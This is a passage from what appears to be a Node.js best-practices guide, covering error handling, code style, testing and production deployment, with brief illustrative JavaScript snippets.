(e.g. an event emitter which is used globally and not firing events anymore due to some internal failure) and all future requests might fail or behave crazily\n\n🔗 [**Read More: shutting the process**](./sections/errorhandling/shuttingtheprocess.md)\n\n<br/><br/>\n\n## ![✔] 2.7 Use a mature logger to increase errors visibility\n\n### `📝 #updated`\n\n**TL;DR:** A robust logging tools like [Pino](https://github.com/pinojs/pino) or [Winston](https://github.com/winstonjs/winston) increases the errors visibility using features like log-levels, pretty print coloring and more. Console.log lacks these imperative features and should be avoided. The best in class logger allows attaching custom useful properties to log entries with minimized serialization performance penalty. Developers should write logs to `stdout` and let the infrastructure pipe the stream to the appropriate log aggregator\n\n**Otherwise:** Skimming through console.logs or manually through messy text file without querying tools or a decent log viewer might keep you busy at work until late\n\n🔗 [**Read More: using a mature logger**](./sections/errorhandling/usematurelogger.md)\n\n<br/><br/>\n\n## ![✔] 2.8 Test error flows using your favorite test framework\n\n### `📝 #updated`\n\n**TL;DR:** Whether professional automated QA or plain manual developer testing – Ensure that your code not only satisfies positive scenarios but also handles and returns the right errors. On top of this, simulate deeper error flows like uncaught exceptions and ensure that the error handler treat these properly (see code examples within the \"read more\" section)\n\n**Otherwise:** Without testing, whether automatically or manually, you can’t rely on your code to return the right errors. Without meaningful errors – there’s no error handling\n\n🔗 [**Read More: testing error flows**](./sections/errorhandling/testingerrorflows.md)\n\n<br/><br/>\n\n## ![✔] 2.9 Discover errors and downtime using APM products\n\n**TL;DR:** Monitoring and performance products (a.k.a APM) proactively gauge your codebase or API so they can automagically highlight errors, crashes, and slow parts that you were missing\n\n**Otherwise:** You might spend great effort on measuring API performance and downtimes, probably you’ll never be aware which are your slowest code parts under real-world scenario and how these affect the UX\n\n🔗 [**Read More: using APM products**](./sections/errorhandling/apmproducts.md)\n\n<br/><br/>\n\n## ![✔] 2.10 Catch unhandled promise rejections\n\n### `📝 #updated`\n\n**TL;DR:** Any exception thrown within a promise will get swallowed and discarded unless a developer didn’t forget to explicitly handle it. Even if your code is subscribed to `process.uncaughtException`! Overcome this by registering to the event `process.unhandledRejection`\n\n**Otherwise:** Your errors will get swallowed and leave no trace. Nothing to worry about\n\n🔗 [**Read More: catching unhandled promise rejection**](./sections/errorhandling/catchunhandledpromiserejection.md)\n\n<br/><br/>\n\n## ![✔] 2.11 Fail fast, validate arguments using a dedicated library\n\n**TL;DR:** Assert API input to avoid nasty bugs that are much harder to track later. The validation code is usually tedious unless you are using a modern validation library like [ajv](https://www.npmjs.com/package/ajv), [zod](https://github.com/colinhacks/zod), or [typebox](https://github.com/sinclairzx81/typebox)\n\n**Otherwise:** Consider this – your function expects a numeric argument “Discount” which the caller forgets to pass, later on, your code checks if Discount!=0 (amount of allowed discount is greater than zero), then it will allow the user to enjoy a discount. OMG, what a nasty bug. Can you see it?\n\n🔗 [**Read More: failing fast**](./sections/errorhandling/failfast.md)\n\n<br/><br/>\n\n## ![✔] 2.12 Always await promises before returning to avoid a partial stacktrace\n\n### `🌟 #new`\n\n**TL;DR:** Always do `return await` when returning a promise to benefit full error stacktrace. If a\nfunction returns a promise, that function must be declared as `async` function and explicitly\n`await` the promise before returning it\n\n**Otherwise:** The function that returns a promise without awaiting won't appear in the stacktrace.\nSuch missing frames would probably complicate the understanding of the flow that leads to the error,\nespecially if the cause of the abnormal behavior is inside of the missing function\n\n🔗 [**Read More: returning promises**](./sections/errorhandling/returningpromises.md)\n\n<br/><br/>\n\n## ![✔] 2.13 Subscribe to event emitters and streams 'error' event\n\n### `🌟 #new`\n\n**TL;DR:** Unlike typical functions, a try-catch clause won't get errors that originate from Event Emitters and anything inherited from it (e.g., streams). Instead of try-catch, subscribe to an event emitter's 'error' event so your code can handle the error in context. When dealing with [EventTargets](https://nodejs.org/api/events.html#eventtarget-and-event-api) (the web standard version of Event Emitters) there are no 'error' event and all errors end in the process.on('error) global event - in this case, at least ensure that the process crash or not based on the desired context. Also, mind that error originating from _asynchronous_ event handlers are not get caught unless the event emitter is initialized with {captureRejections: true}\n\n**Otherwise:** Event emitters are commonly used for global and key application functionality such as DB or message queue connection. When this kind of crucial objects throw an error, at best the process will crash due to unhandled exception. Even worst, it will stay alive as a zombie while a key functionality is turned off\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ Return to top</a></p>\n\n# `3. Code Patterns And Style Practices`\n\n## ![✔] 3.1 Use ESLint\n\n**TL;DR:** [ESLint](https://eslint.org) is the de-facto standard for checking possible code errors and fixing code style, not only to identify nitty-gritty spacing issues but also to detect serious code anti-patterns like developers throwing errors without classification. Though ESLint can automatically fix code styles, other tools like [prettier](https://www.npmjs.com/package/prettier) are more powerful in formatting the fix and work in conjunction with ESLint\n\n**Otherwise:** Developers will focus on tedious spacing and line-width concerns and time might be wasted overthinking the project's code style\n\n🔗 [**Read More: Using ESLint and Prettier**](./sections/codestylepractices/eslint_prettier.md)\n\n<br/><br/>\n\n## ![✔] 3.2 Use Node.js eslint extension plugins\n\n### `📝 #updated`\n\n**TL;DR:** On top of ESLint standard rules that cover vanilla JavaScript, add Node.js specific plugins like [eslint-plugin-node](https://www.npmjs.com/package/eslint-plugin-node), [eslint-plugin-mocha](https://www.npmjs.com/package/eslint-plugin-mocha) and [eslint-plugin-node-security](https://www.npmjs.com/package/eslint-plugin-security), [eslint-plugin-require](https://www.npmjs.com/package/eslint-plugin-require), [/eslint-plugin-jest](https://www.npmjs.com/package/eslint-plugin-jest) and other useful rules\n\n**Otherwise:** Many faulty Node.js code patterns might escape under the radar. For example, developers might require(variableAsPath) files with a variable given as a path which allows attackers to execute any JS script. Node.js linters can detect such patterns and complain early\n\n<br/><br/>\n\n## ![✔] 3.3 Start a Codeblock's Curly Braces on the Same Line\n\n**TL;DR:** The opening curly braces of a code block should be on the same line as the opening statement\n\n### Code Example\n\n```javascript\n// Do\nfunction someFunction() {\n  // code block\n}\n\n// Avoid\nfunction someFunction()\n{\n  // code block\n}\n```\n\n**Otherwise:** Deferring from this best practice might lead to unexpected results, as seen in the StackOverflow thread below:\n\n🔗 [**Read more:** \"Why do results vary based on curly brace placement?\" (StackOverflow)](https://stackoverflow.com/questions/3641519/why-does-a-results-vary-based-on-curly-brace-placement)\n\n<br/><br/>\n\n## ![✔] 3.4 Separate your statements properly\n\nNo matter if you use semicolons or not to separate your statements, knowing the common pitfalls of improper linebreaks or automatic semicolon insertion, will help you to eliminate regular syntax errors.\n\n**TL;DR:** Use ESLint to gain awareness about separation concerns. [Prettier](https://prettier.io/) or [Standardjs](https://standardjs.com/) can automatically resolve these issues.\n\n**Otherwise:** As seen in the previous section, JavaScript's interpreter automatically adds a semicolon at the end of a statement if there isn't one, or considers a statement as not ended where it should, which might lead to some undesired results. You can use assignments and avoid using immediately invoked function expressions to prevent most of the unexpected errors.\n\n### Code example\n\n```javascript\n// Do\nfunction doThing() {\n    // ...\n}\n\ndoThing()\n\n// Do\n\nconst items = [1, 2, 3]\nitems.forEach(console.log)\n\n// Avoid — throws exception\nconst m = new Map()\nconst a = [1,2,3]\n[...m.values()].forEach(console.log)\n> [...m.values()].forEach(console.log)\n>  ^^^\n> SyntaxError: Unexpected token ...\n\n// Avoid — throws exception\nconst count = 2 // it tries to run 2(), but 2 is not a function\n(function doSomething() {\n  // do something amazing\n}())\n// put a semicolon before the immediate invoked function, after the const definition, save the return value of the anonymous function to a variable or avoid IIFEs altogether\n```\n\n🔗 [**Read more:** \"Semi ESLint rule\"](https://eslint.org/docs/rules/semi)\n🔗 [**Read more:** \"No unexpected multiline ESLint rule\"](https://eslint.org/docs/rules/no-unexpected-multiline)\n\n<br/><br/>\n\n## ![✔] 3.5 Name your functions\n\n**TL;DR:** Name all functions, including closures and callbacks. Avoid anonymous functions. This is especially useful when profiling a node app. Naming all functions will allow you to easily understand what you're looking at when checking a memory snapshot\n\n**Otherwise:** Debugging production issues using a core dump (memory snapshot) might become challenging as you notice significant memory consumption from anonymous functions\n\n<br/><br/>\n\n## ![✔] 3.6 Use naming conventions for variables, constants, functions and classes\n\n**TL;DR:** Use **_lowerCamelCase_** when naming constants, variables and functions, **_UpperCamelCase_** (capital first letter as well) when naming classes and **_UPPER_SNAKE_CASE_** when naming global or static variables. This will help you to easily distinguish between plain variables, functions, classes that require instantiation and variables declared at global module scope. Use descriptive names, but try to keep them short\n\n**Otherwise:** JavaScript is the only language in the world that allows invoking a constructor (\"Class\") directly without instantiating it first. Consequently, Classes and function-constructors are differentiated by starting with UpperCamelCase\n\n### 3.6 Code Example\n\n```javascript\n// for global variables names we use the const/let keyword and UPPER_SNAKE_CASE\nlet MUTABLE_GLOBAL = \"mutable value\";\nconst GLOBAL_CONSTANT = \"immutable value\";\nconst CONFIG = {\n  key: \"value\",\n};\n\n// examples of UPPER_SNAKE_CASE convention in nodejs/javascript ecosystem\n// in javascript Math.PI module\nconst PI = 3.141592653589793;\n\n// https://github.com/nodejs/node/blob/b9f36062d7b5c5039498e98d2f2c180dca2a7065/lib/internal/http2/core.js#L303\n// in nodejs http2 module\nconst HTTP_STATUS_OK = 200;\nconst HTTP_STATUS_CREATED = 201;\n\n// for class name we use UpperCamelCase\nclass SomeClassExample {\n  // for static class properties we use UPPER_SNAKE_CASE\n  static STATIC_PROPERTY = \"value\";\n}\n\n// for functions names we use lowerCamelCase\nfunction doSomething() {\n  // for scoped variable names we use the const/let keyword and lowerCamelCase\n  const someConstExample = \"immutable value\";\n  let someMutableExample = \"mutable value\";\n}\n```\n\n<br/><br/>\n\n## ![✔] 3.7 Prefer const over let. Ditch the var\n\n**TL;DR:** Using `const` means that once a variable is assigned, it cannot be reassigned. Preferring `const` will help you to not be tempted to use the same variable for different uses, and make your code clearer. If a variable needs to be reassigned, in a for loop, for example, use `let` to declare it. Another important aspect of `let` is that a variable declared using it is only available in the block scope in which it was defined. `var` is function scoped, not block-scoped, and [shouldn't be used in ES6](https://hackernoon.com/why-you-shouldnt-use-var-anymore-f109a58b9b70) now that you have `const` and `let` at your disposal\n\n**Otherwise:** Debugging becomes way more cumbersome when following a variable that frequently changes\n\n🔗 [**Read more: JavaScript ES6+: var, let, or const?** ](https://medium.com/javascript-scene/javascript-es6-var-let-or-const-ba58b8dcde75)\n\n<br/><br/>\n\n## ![✔] 3.8 Require modules first, not inside functions\n\n**TL;DR:** Require modules at the beginning of each file, before and outside of any functions. This simple best practice will not only help you easily and quickly tell the dependencies of a file right at the top but also avoids a couple of potential problems\n\n**Otherwise:** Requires are run synchronously by Node.js. If they are called from within a function, it may block other requests from being handled at a more critical time. Also, if a required module or any of its dependencies throw an error and crash the server, it is best to find out about it as soon as possible, which might not be the case if that module is required from within a function\n\n<br/><br/>\n\n## ![✔] 3.9 Set an explicit entry point to a module/folder\n\n### `📝 #updated`\n\n**TL;DR:** When developing a module/library, set an explicit root file that exports the public and interesting code. Discourage the client code from importing deep files and becoming familiar with the internal structure. With commonjs (require), this can be done with an index.js file at the folder's root or the package.json.main field. With ESM (import), if a package.json exists on the root, the field \"exports\" allow specifying the module's root file. If no package.json exists, you may put an index.js file on the root which re-exports all the public functionality\n\n**Otherwise:** Having an explicit root file acts like a public 'interface' that encapsulates the internal, directs the caller to the public code and facilitates future changes without breaking the contract\n\n### 3.9 Code example - avoid coupling the client to the module structure\n\n```javascript\n// Avoid: client has deep familiarity with the internals\n\n// Client code\nconst SMSWithMedia = require(\"./SMSProvider/providers/media/media-provider.js\");\n\n// Better: explicitly export the public functions\n\n//index.js, module code\nmodule.exports.SMSWithMedia = require(\"./SMSProvider/providers/media/media-provider.js\");\n\n// Client code\nconst { SMSWithMedia } = require(\"./SMSProvider\");\n```\n\n<br/><br/>\n\n## ![✔] 3.10 Use the `===` operator\n\n**TL;DR:** Prefer the strict equality operator `===` over the weaker abstract equality operator `==`. `==` will compare two variables after converting them to a common type. There is no type conversion in `===`, and both variables must be of the same type to be equal\n\n**Otherwise:** Unequal variables might return true when compared with the `==` operator\n\n### 3.10 Code example\n\n```javascript\n\"\" == \"0\"; // false\n0 == \"\"; // true\n0 == \"0\"; // true\n\nfalse == \"false\"; // false\nfalse == \"0\"; // true\n\nfalse == undefined; // false\nfalse == null; // false\nnull == undefined; // true\n\n\" \\t\\r\\n \" == 0; // true\n```\n\nAll statements above will return false if used with `===`\n\n<br/><br/>\n\n## ![✔] 3.11 Use Async Await, avoid callbacks\n\n**TL;DR:** Async-await is the simplest way to express an asynchronous flow as it makes asynchronous code look synchronous. Async-await will also result in much more compact code and support for try-catch. This technique now supersedes callbacks and promises in _most_ cases. Using it in your code is probably the best gift one can give to the code reader\n\n**Otherwise:** Handling async errors in callback style are probably the fastest way to hell - this style forces to check errors all over, deal with awkward code nesting, and makes it difficult to reason about the code flow\n\n🔗[**Read more:** Guide to async-await 1.0](https://github.com/yortus/asyncawait)\n\n<br/><br/>\n\n## ![✔] 3.12 Use arrow function expressions (=>)\n\n**TL;DR:** Though it's recommended to use async-await and avoid function parameters when dealing with older APIs that accept promises or callbacks - arrow functions make the code structure more compact and keep the lexical context of the root function (i.e. `this`)\n\n**Otherwise:** Longer code (in ES5 functions) is more prone to bugs and cumbersome to read\n\n🔗 [**Read more: It’s Time to Embrace Arrow Functions**](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)\n\n<br/><br/>\n\n## ![✔] 3.13 Avoid effects outside of functions\n\n### `🌟 #new`\n\n**TL;DR:** Avoid putting code with effects like network or DB calls outside of functions. Such a code will be executed immediately when another file requires the file. This 'floating' code might get executed when the underlying system is not ready yet. It also comes with a performance penalty even when this module's functions will finally not be used in runtime. Last, mocking these DB/network calls for testing is harder outside of functions. Instead, put this code inside functions that should get called explicitly. If some DB/network code must get executed right when the module loads, consider using the factory or revealing module patterns\n\n**Otherwise:** A typical web framework sets error handler, environment variables and monitoring. When DB/network calls are made before the web framework is initialized, they won't be monitored or fail due to a lack of configuration data\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ Return to top</a></p>\n\n# `4. Testing And Overall Quality Practices`\n\n\\_We have dedicated guides for testing, see below. The best practices list here is a brief summary of these guides\n\na. [JavaScript testing best practices](https://github.com/goldbergyoni/javascript-testing-best-practices)\nb. [Node.js testing - beyond the basics](https://github.com/testjavascript/nodejs-integration-tests-best-practices)\n\\_\n\n## ![✔] 4.1 At the very least, write API (component) testing\n\n**TL;DR:** Most projects just don't have any automated testing due to short timetables or often the 'testing project' ran out of control and was abandoned. For that reason, prioritize and start with API testing which is the easiest way to write and provides more coverage than unit testing (you may even craft API tests without code using tools like [Postman](https://www.getpostman.com/)). Afterwards, should you have more resources and time, continue with advanced test types like unit testing, DB testing, performance testing, etc\n\n**Otherwise:** You may spend long days on writing unit tests to find out that you got only 20% system coverage\n\n<br/><br/>\n\n## ![✔] 4.2 Include 3 parts in each test name\n\n### `🌟 #new`\n\n**TL;DR:** Make the test speak at the requirements level so it's self-explanatory also to QA engineers and developers who are not familiar with the code internals. State in the test name what is being tested (unit under test), under what circumstances, and what is the expected result\n\n**Otherwise:** A deployment just failed, a test named “Add product” failed. Does this tell you what exactly is malfunctioning?\n\n🔗 [**Read More: Include 3 parts in each test name**](./sections/testingandquality/3-parts-in-name.md)\n\n<br/><br/>\n\n## ![✔] 4.3 Structure tests by the AAA pattern\n\n### `🌟 #new`\n\n**TL;DR:** Structure your tests with 3 well-separated sections: Arrange, Act & Assert (AAA). The first part includes the test setup, then the execution of the unit under test, and finally the assertion phase. Following this structure guarantees that the reader spends no brain CPU on understanding the test plan\n\n**Otherwise:** Not only you spend long daily hours on understanding the main code, but now also what should have been the simple part of the day (testing) stretches your brain\n\n🔗 [**Read More: Structure tests by the AAA pattern**](./sections/testingandquality/aaa.md)\n\n<br/><br/>\n\n## ![✔] 4.4 Ensure Node version is unified\n\n### `🌟 #new`\n\n**TL;DR:** Use tools that encourage or enforce the same Node.js version across different environments and developers. Tools like [nvm](https://github.com/nvm-sh/nvm), and [Volta](https://volta.sh/) allow specifying the project's version in a file so each team member can run a single command to conform with the project's version. Optionally, this definition can be replicated to CI and the production runtime (e.g., copy the specified value to .Dockerfile build and to the CI declaration file)\n\n**Otherwise:** A developer might face or miss an error because she uses a different Node.js version than her teammates. Even worse - the production runtime might be different than the environment where tests were executed\n\n<br/><br/>\n\n## ![✔] 4.5 Avoid global test fixtures and seeds, add data per-test\n\n**TL;DR:** To prevent test coupling and easily reason about the test flow, each test should add and act on its own set of DB rows. Whenever a test needs to pull or assume the existence of some DB data - it must explicitly add that data and avoid mutating any other records\n\n**Otherwise:** Consider a scenario where deployment is aborted due to failing tests, team is now going to spend precious investigation time that ends in a sad conclusion: the system works well, the tests however interfere with each other and break the build\n\n🔗 [**Read More: Avoid global test fixtures**](./sections/testingandquality/avoid-global-test-fixture.md)\n\n<br/><br/>\n\n## ![✔] 4.6 Tag your tests\n\n**TL;DR:** Different tests must run on different scenarios: quick smoke, IO-less, tests should run when a developer saves or commits a file, full end-to-end tests usually run when a new pull request is submitted, etc. This can be achieved by tagging tests with keywords like #cold #api #sanity so you can grep with your testing harness and invoke the desired subset. For example, this is how you would invoke only the sanity test group with [Mocha](https://mochajs.org/): mocha --grep 'sanity'\n\n**Otherwise:** Running all the tests, including tests that perform dozens of DB queries, any time a developer makes a small change can be extremely slow and keeps developers away from running tests\n\n<br/><br/>\n\n## ![✔] 4.7 Check your test coverage, it helps to identify wrong test patterns\n\n**TL;DR:** Code coverage tools like [Istanbul](https://github.com/istanbuljs/istanbuljs)/[NYC](https://github.com/istanbuljs/nyc) are great for 3 reasons: it comes for free (no effort is required to benefit this reports), it helps to identify a decrease in testing coverage, and last but not least it highlights testing mismatches: by looking at colored code coverage reports you may notice, for example, code areas that are never tested like catch clauses (meaning that tests only invoke the happy paths and not how the app behaves on errors). Set it to fail builds if the coverage falls under a certain threshold\n\n**Otherwise:** There won't be any automated metric telling you when a large portion of your code is not covered by testing\n\n<br/><br/>\n\n## ![✔] 4.8 Use production-like environment for e2e testing\n\n**TL;DR:** End to end (e2e) testing which includes live data used to be the weakest link of the CI process as it depends on multiple heavy services like DB. Use an environment which is as close to your real production environment as possible like a-continue (Missed -continue here, needs content. Judging by the **Otherwise** clause, this should mention docker-compose)\n\n**Otherwise:** Without docker-compose, teams must maintain a testing DB for each testing environment including developers' machines, keep all those DBs in sync so test results won't vary across environments\n\n<br/><br/>\n\n## ![✔] 4.9 Refactor regularly using static analysis tools\n\n**TL;DR:** Using static analysis tools helps by giving objective ways to improve code quality and keeps your code maintainable. You can add static analysis tools to your CI build to fail when it finds code smells. Its main selling points over plain linting are the ability to inspect quality in the context of multiple files (e.g. detect duplications), perform advanced analysis (e.g. code complexity), and follow the history and progress of code issues. Two examples of tools you can use are [Sonarqube](https://www.sonarqube.org/) (2,600+ [stars](https://github.com/SonarSource/sonarqube)) and [Code Climate](https://codeclimate.com/) (1,500+ [stars](https://github.com/codeclimate/codeclimate)).\n\n**Otherwise:** With poor code quality, bugs and performance will always be an issue that no shiny new library or state of the art features can fix\n\n🔗 [**Read More: Refactoring!**](./sections/testingandquality/refactoring.md)\n\n<br/><br/>\n\n## ![✔] 4.10 Mock responses of external HTTP services\n\n### `🌟 #new`\n\n**TL;DR:** Use network mocking tools to simulate responses of external collaborators' services that are approached over the network (e.g., REST, Graph). This is imperative not only to isolate the component under test but mostly to simulate non-happy path flows. Tools like [nock](https://github.com/nock/nock) (in-process) or [Mock-Server](https://www.mock-server.com/) allow defining a specific response of external service in a single line of code. Remember to simulate also errors, delays, timeouts, and any other event that is likely to happen in production\n\n**Otherwise:** Allowing your component to reach real external services instances will likely result in naive tests that mostly cover happy paths. The tests might also be flaky and slow\n\n🔗 [**Read More: Mock external services**](./sections/testingandquality/mock-external-services.md)\n\n## ![✔] 4.11 Test your middlewares in isolation\n\n**TL;DR:** When a middleware holds some immense logic that spans many requests, it is worth testing it in isolation without waking up the entire web framework. This can be easily achieved by stubbing and spying on the {req, res, next} objects\n\n**Otherwise:** A bug in Express middleware === a bug in all or most requests\n\n🔗 [**Read More: Test middlewares in isolation**](./sections/testingandquality/test-middlewares.md)\n\n## ![✔] 4.12 Specify a port in production, randomize in testing\n\n### `🌟 #new`\n\n**TL;DR:** When testing against the API, it's common and desirable to initialize the web server inside the tests. Let the server randomize the web server port in testing to prevent collisions. If you're using Node.js http server (used by most frameworks), doing so demands nothing but passing a port number zero - this will randomize an available port\n\n**Otherwise:** Specifying a fixed port will prevent two testing processes from running at the same time. Most of the modern test runners run with multiple processes by default\n\n🔗 [**Read More: Randomize a port for testing**](./sections/testingandquality/randomize-port.md)\n\n## ![✔] 4.13 Test the five possible outcomes\n\n### `🌟 #new`\n\n**TL;DR:** When testing a flow, ensure to cover five potential categories. Any time some action is triggered (e.g., API call), a reaction occurs, a meaningful **outcome** is produced and calls for testing. There are five possible outcome types for every flow: a response, a visible state change (e.g., DB), an outgoing API call, a new message in a queue, and an observability call (e.g., logging, metric). See a [checklist here](https://testjavascript.com/wp-content/uploads/2021/10/the-backend-checklist.pdf). Each type of outcome comes with unique challenges and techniques to mitigate those challenges - we have a dedicated guide about this topic: [Node.js testing - beyond the basics](https://github.com/testjavascript/nodejs-integration-tests-best-practices)\n\n**Otherwise:** Consider a case when testing the addition of a new product to the system. It's common to see tests that assert on a valid response only. What if the product was failed to persist regardless of the positive response? what if when adding a new product demands calling some external service, or putting a message in the queue - shouldn't the test assert these outcomes as well? It's easy to overlook various paths, this is where a [checklist comes handy](https://testjavascript.com/wp-content/uploads/2021/10/the-backend-checklist.pdf)\n\n🔗 [**Read More: Test five outcomes**](./sections/testingandquality/test-five-outcomes.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ Return to top</a></p>\n\n# `5. Going To Production Practices`\n\n## ![✔] 5.1. Monitoring\n\n**TL;DR:** Monitoring is a game of finding out issues before customers do – obviously this should be assigned unprecedented importance. The market is overwhelmed with offers thus consider starting with defining the basic metrics you must follow (my suggestions inside), then go over additional fancy features and choose the solution that ticks all boxes. In any case, the 4 layers of observability must be covered: uptime, metrics with focus on user-facing symptoms and Node.js technical metrics like event loop lag, distributed flows measurement with Open Telemetry and logging. Click ‘Read More’ below for an overview of the solutions\n\n**Otherwise:** Failure === disappointed customers. Simple\n\n🔗 [**Read More: Monitoring!**](./sections/production/monitoring.md)\n\n<br/><br/>\n\n## ![✔] 5.2. Increase the observability using smart logging\n\n**TL;DR:** Logs can be a dumb warehouse of debug statements or the enabler of a beautiful dashboard that tells the story of your app. Plan your logging platform from day 1: how logs are collected, stored and analyzed to ensure that the desired information (e.g. error rate, following an entire transaction through services and servers, etc) can really be extracted\n\n**Otherwise:** You end up with a black box that is hard to reason about, then you start re-writing all logging statements to add additional information\n\n🔗 [**Read More: Increase transparency using smart logging**](./sections/production/smartlogging.md)\n\n<br/><br/>\n\n## ![✔] 5.3. Delegate anything possible (e.g. gzip, SSL) to a reverse proxy\n\n**TL;DR:** Node is quite bad at doing CPU intensive tasks like gzipping, SSL termination, etc. You should use specialized infrastructure like nginx, HAproxy or cloud vendor services instead\n\n**Otherwise:** Your poor single thread will stay busy doing infrastructural tasks instead of dealing with your application core and performance will degrade accordingly\n\n🔗 [**Read More: Delegate anything possible (e.g. gzip, SSL) to a reverse proxy**](./sections/production/delegatetoproxy.md)\n\n<br/><br/>\n\n## ![✔] 5.4. Lock dependencies\n\n**TL;DR:** Your code must be identical across all environments, but without a special lockfile npm lets dependencies drift across environments. Ensure to commit your package-lock.json so all the environments will be identical\n\n**Otherwise:** QA will thoroughly test the code and approve a version that will behave differently in production. Even worse, different servers in the same production cluster might run different code\n\n🔗 [**Read More: Lock dependencies**](./sections/production/lockdependencies.md)\n\n<br/><br/>\n\n## ![✔] 5.5. Guard process uptime using the right tool\n\n**TL;DR:** The process must go on and get restarted upon failures. Modern runtime platforms like Docker-ized platforms (e.g. Kubernetes), and Serverless take care for this automatically. When the app is hosted on a bare metal server, one must take care for a process management tools like [systemd](https://systemd.io/). Avoid including a custom process management tool in a modern platform that monitors an app instance (e.g., Kubernetes) - doing so will hide failures from the infrastructure. When the underlying infrastructure is not aware of errors, it can't perform useful mitigation steps like re-placing the instance in a different location\n\n**Otherwise:** Running dozens of instances without a clear strategy and too many tools together (cluster management, docker, PM2) might lead to DevOps chaos\n\n🔗 [**Read More: Guard process uptime using the right tool**](./sections/production/guardprocess.md)\n\n<br/><br/>\n\n## ![✔] 5.6. Utilize all CPU cores\n\n**TL;DR:** At its basic form, a Node app runs on a single CPU core while all others are left idling. It’s your duty to replicate the Node process and utilize all CPUs. Most of the modern run-times platform (e.g., Kubernetes) allow replicating instances of the app but they won't verify that all cores are utilized - this is your duty. If the app is hosted on a bare server, it's also your duty to use some process replication solution (e.g. systemd)\n\n**Otherwise:** Your app will likely utilize only 25% of its available resources(!) or even less. Note that a typical server has 4 CPU cores or more, naive deployment of Node.js utilizes only 1 (even using PaaS services like AWS beanstalk!)\n\n🔗 [**Read More: Utilize all CPU cores**](./sections/production/utilizecpu.md)\n\n<br/><br/>\n\n## ![✔] 5.7. Create a ‘maintenance endpoint’\n\n**TL;DR:** Expose a set of system-related information, like memory usage and REPL, etc in a secured API. Although it’s highly recommended to rely on standard and battle-tested tools, some valuable information and operations are easier done using code\n\n**Otherwise:** You’ll find that you’re performing many “diagnostic deploys” – shipping code to production only to extract some information for diagnostic purposes\n\n🔗 [**Read More: Create a ‘maintenance endpoint’**](./sections/production/createmaintenanceendpoint.md)\n\n<br/><br/>\n\n## ![✔] 5.8. Discover the unknowns using APM products\n\n### `📝 #updated`\n\n**TL;DR:** Consider adding another safety layer to the production stack - APM. While the majority of symptoms and causes can be detected using traditional monitoring techniques, in a distributed system there is more than meets the eye. Application monitoring and performance products (a.k.a. APM) can auto-magically go beyond traditional monitoring and provide additional layer of discovery and developer-experience. For example, some APM products can highlight a transaction that loads too slow on the **end-user's side** while suggesting the root cause. APMs also provide more context for developers who try to troubleshoot a log error by showing what was the server busy with when the error occurred. To name a few example\n\n**Otherwise:** You might spend great effort on measuring API performance and downtimes, probably you’ll never be aware which is your slowest code parts under real-world scenario and how these affect the UX\n\n🔗 [**Read More: Discover errors and downtime using APM products**](./sections/production/apmproducts.md)\n\n<br/><br/>\n\n## ![✔] 5.9. Make your code production-ready\n\n**TL;DR:** Code with the end in mind, plan for production from day 1. This sounds a bit vague so I’ve compiled a few development tips that are closely related to production maintenance (click 'Read More')\n\n**Otherwise:** A world champion IT/DevOps guy won’t save a system that is badly written\n\n🔗 [**Read More: Make your code production-ready**](./sections/production/productioncode.md)\n\n<br/><br/>\n\n## ![✔] 5.10. Measure and guard the memory usage\n\n**TL;DR:** Node.js has controversial relationships with memory: the v8 engine has soft limits on memory usage (1.4GB) and there are known paths to leak memory in Node’s code – thus watching Node’s process memory is a must. In small apps, you may gauge memory periodically using shell commands but in medium-large apps consider baking your memory watch into a robust monitoring system\n\n**Otherwise:** Your process memory might leak a hundred megabytes a day like how it happened at [Walmart](https://www.joyent.com/blog/walmart-node-js-memory-leak)\n\n🔗 [**Read More: Measure and guard the memory usage**](./sections/production/measurememory.md)\n\n<br/><br/>\n\n## ![✔] 5.11. Get your frontend assets out of Node\n\n**TL;DR:** Serve frontend content using a specialized infrastructure (nginx, S3, CDN) because Node performance gets hurt when dealing with many static files due to its single-threaded model. One exception to this guideline is when doing server-side rendering\n\n**Otherwise:** Your single Node thread will be busy streaming hundreds of html/images/angular/react files instead of allocating all its resources for the task it was born for – serving dynamic content\n\n🔗 [**Read More: Get your frontend assets out of Node**](./sections/production/frontendout.md)\n\n<br/><br/>\n\n## ![✔] 5.12. Strive to be stateless\n\n**TL;DR:** Store any type of _data_ (e.g. user sessions, cache, uploaded files) within external data stores. When the app holds data in-process this adds additional layer of maintenance complexity like routing users to the same instance and higher cost of restarting a process. To enforce and encourage a stateless approach, most modern runtime platforms allows 'reapp-ing' instances periodically\n\n**Otherwise:** Failure at a given server will result in application downtime instead of just killing a faulty machine. Moreover, scaling-out elasticity will get more challenging due to the reliance on a specific server\n\n🔗 [**Read More: Be stateless, kill your Servers almost every day**](./sections/production/bestateless.md)\n\n<br/><br/>\n\n## ![✔] 5.13. Use tools that automatically detect vulnerabilities\n\n**TL;DR:** Even the most reputable dependencies such as Express have known vulnerabilities (from time to time) that can put a system at risk. This can be easily tamed using community and commercial tools that constantly check for vulnerabilities and warn (locally or at GitHub), some can even patch them immediately\n\n**Otherwise:** Keeping your code clean from vulnerabilities without dedicated tools will require you to constantly follow online publications about new threats. Quite tedious\n\n🔗 [**Read More: Use tools that automatically detect vulnerabilities**](./sections/production/detectvulnerabilities.md)\n\n<br/><br/>\n\n## ![✔] 5.14. Assign a transaction id to each log statement\n\n**TL;DR:** Assign the same identifier, transaction-id: uuid(), to each log entry within a single request (also known as correlation-id/tracing-id/request-context). Then when inspecting errors in logs, easily conclude what happened before and after. Node has a built-in mechanism, [AsyncLocalStorage](https://nodejs.org/api/async_context.html), for keeping the same context across asynchronous calls. see code examples inside\n\n**Otherwise:** Looking at a production error log without the context – what happened before – makes it much harder and slower to reason about the issue\n\n🔗 [**Read More: Assign ‘TransactionId’ to each log statement**](./sections/production/assigntransactionid.md)\n\n<br/><br/>\n\n## ![✔] 5.15. Set `NODE_ENV=production`\n\n**TL;DR:** Set the environment variable `NODE_ENV` to ‘production’ or ‘development’ to flag whether production optimizations should get activated – some npm packages determine the current environment and optimize their code for production\n\n**Otherwise:** Omitting this simple property might greatly degrade performance when dealing with some specific libraries like Express server-side rendering\n\n🔗 [**Read More: Set NODE_ENV=production**](./sections/production/setnodeenv.md)\n\n<br/><br/>\n\n## ![✔] 5.16. Design automated, atomic and zero-downtime deployments\n\n**TL;DR:** Research shows that teams who perform many deployments lower 